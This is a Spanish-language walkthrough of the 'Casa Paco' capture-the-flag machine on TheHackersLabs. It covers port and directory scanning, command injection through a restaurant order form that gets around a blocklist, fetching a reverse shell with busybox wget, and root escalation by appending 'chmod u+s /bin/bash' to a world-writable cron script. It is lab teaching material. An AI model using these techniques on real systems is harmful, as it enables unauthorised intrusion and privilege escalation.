Casa paco es una de las maquinas existentes actualmente en la plataforma de hacking Thehackerslabs y es de dificultad Fácil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Empezaremos con el escaneo de puertos una vez tenemos la ip que tiene la maquina a vulnerar, en mi caso será la 192.168.0.6
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
┌──(user㉿sec)-[~] └─$ nmap -sS -p- --open --min-rate 5000 -vvv -n 192.168.0.6 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-14 18:54 CET Initiating ARP Ping Scan at 18:54 Scanning 192.168.0.6 [1 port] Completed ARP Ping Scan at 18:54, 0.07s elapsed (1 total hosts) Initiating SYN Stealth Scan at 18:54 Scanning 192.168.0.6 [65535 ports] Discovered open port 22/tcp on 192.168.0.6 Discovered open port 80/tcp on 192.168.0.6 Completed SYN Stealth Scan at 18:54, 0.45s elapsed (65535 total ports) Nmap scan report for 192.168.0.6 Host is up, received arp-response (0.000097s latency). Scanned at 2025-01-14 18:54:02 CET for 0s Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 MAC Address: 08:00:27:21:A8:9D (Oracle VirtualBox virtual NIC) Read data files from: /usr/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.68 seconds Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB) |
Una vez tenemos los puertos abiertos, con nmap le pasamos el parámetro -sCV para que le pase los scripts por defecto y conseguir mas información de cada uno de ellos.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
┌──(user㉿sec)-[~] └─$ nmap -sCV -p22,80 192.168.0.6 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-14 18:54 CET Nmap scan report for oldschool.hmv (192.168.0.6) Host is up (0.00055s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u4 (protocol 2.0) | ssh-hostkey: | 256 72:58:87:c5:87:63:3f:fa:43:da:ed:69:2f:ed:a7:d0 (ECDSA) |_ 256 13:31:bc:26:a0:2e:4a:ae:b8:31:75:7f:0e:17:32:4e (ED25519) 80/tcp open http Apache httpd 2.4.62 |_http-title: Did not follow redirect to http://casapaco.thl |_http-server-header: Apache/2.4.62 (Debian) Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 6.54 seconds |
Intentando acceder con curl al puerto 80, vemos que tiene configurado un virtualhost, asi que lo añadimos al archivo hosts.
|
1 2 3 4 5 6 7 8 9 10 11 |
┌──(user㉿sec)-[~] └─$ curl 192.168.0.6 <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://casapaco.thl">here</a>.</p> <hr> <address>Apache/2.4.62 (Debian) Server at 192.168.0.6 Port 80</address> </body></html> |
Usamos feroxbuster para encontrar archivos y carpetas en el servidor web y en lo primero que nos fijamos es en el archivo llevar.php asi que directamente accedemos al recurso.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 |
┌──(user㉿sec)-[~] └─$ feroxbuster --url http://casapaco.thl -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt ___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.11.0 ───────────────────────────┬────────────────────── 🎯 Target Url │ http://casapaco.thl 🚀 Threads │ 50 📖 Wordlist │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 👌 Status Codes │ All Status Codes! 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.11.0 💉 Config File │ /etc/feroxbuster/ferox-config.toml 🔎 Extract Links │ true 💲 Extensions │ [php, html, txt] 🏁 HTTP methods │ [GET] 🔃 Recursion Depth │ 4 ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 404 GET 9l 31w 274c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 403 GET 9l 28w 277c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 200 GET 157l 299w 2528c http://casapaco.thl/static/styles.css 200 GET 57l 152w 1969c http://casapaco.thl/menu.html 200 GET 49l 210w 2037c http://casapaco.thl/index.html 301 GET 9l 28w 313c http://casapaco.thl/static => http://casapaco.thl/static/ 200 GET 30l 75w 949c http://casapaco.thl/llevar.php 200 GET 830l 5351w 520483c http://casapaco.thl/static/img/casapaco.jpg 200 GET 49l 210w 2037c http://casapaco.thl/ 200 GET 656l 3768w 347129c http://casapaco.thl/static/img/callos.jpg 200 GET 64l 349w 27495c http://casapaco.thl/static/img/fabada.jpeg 200 GET 607l 3350w 274480c http://casapaco.thl/static/img/oreja.jpg 200 GET 1374l 7955w 592457c http://casapaco.thl/static/img/cocido.jpg 🚨 Caught ctrl+c 🚨 saving scan state to ferox-http_casapaco_thl-1736877445.state ... [#>------------------] - 5s 61997/882264 66s found:11 errors:0 [#>------------------] - 5s 61880/882184 13288/s http://casapaco.thl/ [####################] - 0s 882184/882184 58812267/s http://casapaco.thl/static/ => Directory listing (add --scan-dir-listings to scan) [####################] - 1s 882184/882184 1230382/s http://casapaco.thl/static/img/ => Directory listing (add --scan-dir-listings to scan) |

Rellenamos tanto nombre como plato con cualquier palabra para ver como lo procesa y vemos que nos da un apartado con «Salida del comando», probamos con «id»

Visto que nos devuelve el output del comando id y intentaremos enviarnos una reverse shell

Pero el problema viene cuando parece que hay ciertos comando, simbolos ,etc que no estan permitidos, y por ello nos devuelve el error que vemos a continuación.

Usamos un diccionario de command injection, sobretodo para saber que comandos estan disponibles pero al no sernos de mucha utilidad, procedemos a hacer pruebas manuales,
Tambien se prueban comando como wget o curl pero aunque no dan el error, no parece que esten disponibles.

El comando dir si lo ejecuta en vez de ls y en el output vemos que existen 2 ficheros llevar.php y llevar1.php, por lo que intentamos leerlosos, pero con otro comando que no sea cat porque tambien da error.
Según vemos en el fichero, confirmamos que existen restricciones para ciertos comandos, entre otros, ls y cat.

Revisamos el siguiente fichero, llevar1.php que sin embargo, no tiene ningún filtro para bloquear.

Desde aqui tenemos 2 opciones para la intrusion:
- Usar llevar.php sabiendo que comandos no estan disponibles.
- Usar llevar1.php sin restricciones.
Nosotros usaremos busybox, el cual nos vale para cualquiera de las 2 opciones.
Con llevar.php , usaremos busybox junto con wget y nos traemos index.html, que en realidad es una reverse shell ( porque el / no esta permitido para ir al recurso ) y lo guardamos como sh3ll.php para luego acceder y conseguir la reverse shell.

Con llevar1.php, al no tener restricciones, directamente vamos al recurso de la reverse shell y lo ejecutamos.

Una vez dentro, nos dirijimos a la home del usuario pacogerente y vemos el fichero de flag y un script, en el cual tenemos permiso para escritura.
Si usamos pspy64, vemos que se ejecuta cada minuto, por lo que le añadimos un chmod para que le de el bit de SUID a /bin/bash
|
1 2 3 4 5 6 |
bash-5.2$ pwd;ls -l /home/pacogerente total 24 -rwxrw-rw- 1 pacogerente pacogerente 130 Jan 14 18:28 fabada.sh -rw-r--r-- 1 root root 12844 Jan 14 21:32 log.txt -rw-r--r-- 1 pacogerente pacogerente 33 Jan 14 17:06 user.txt |

|
1 2 3 4 5 6 7 |
bash-5.2$ echo "chmod u+s /bin/bash" >> fabada.sh bash-5.2$ cat fabada.sh #!/bin/bash # Generar un log de actividad echo "Ejecutado por cron el: $(date)" >> /home/pacogerente/log.txt chmod u+s /bin/bash |
Esperamos un minuto y tenemos bash con SUID para poder escalar a root
|
1 2 3 4 5 6 7 |
bash-5.2$ ls -l /bin/bash -rwsr-xr-x 1 root root 1265648 Mar 29 2024 /bin/bash bash-5.2$ bash -p bash-5.2# id uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data) |
Hasta aquí la maquina Casa Paco de la plataforma Thehackerslabs









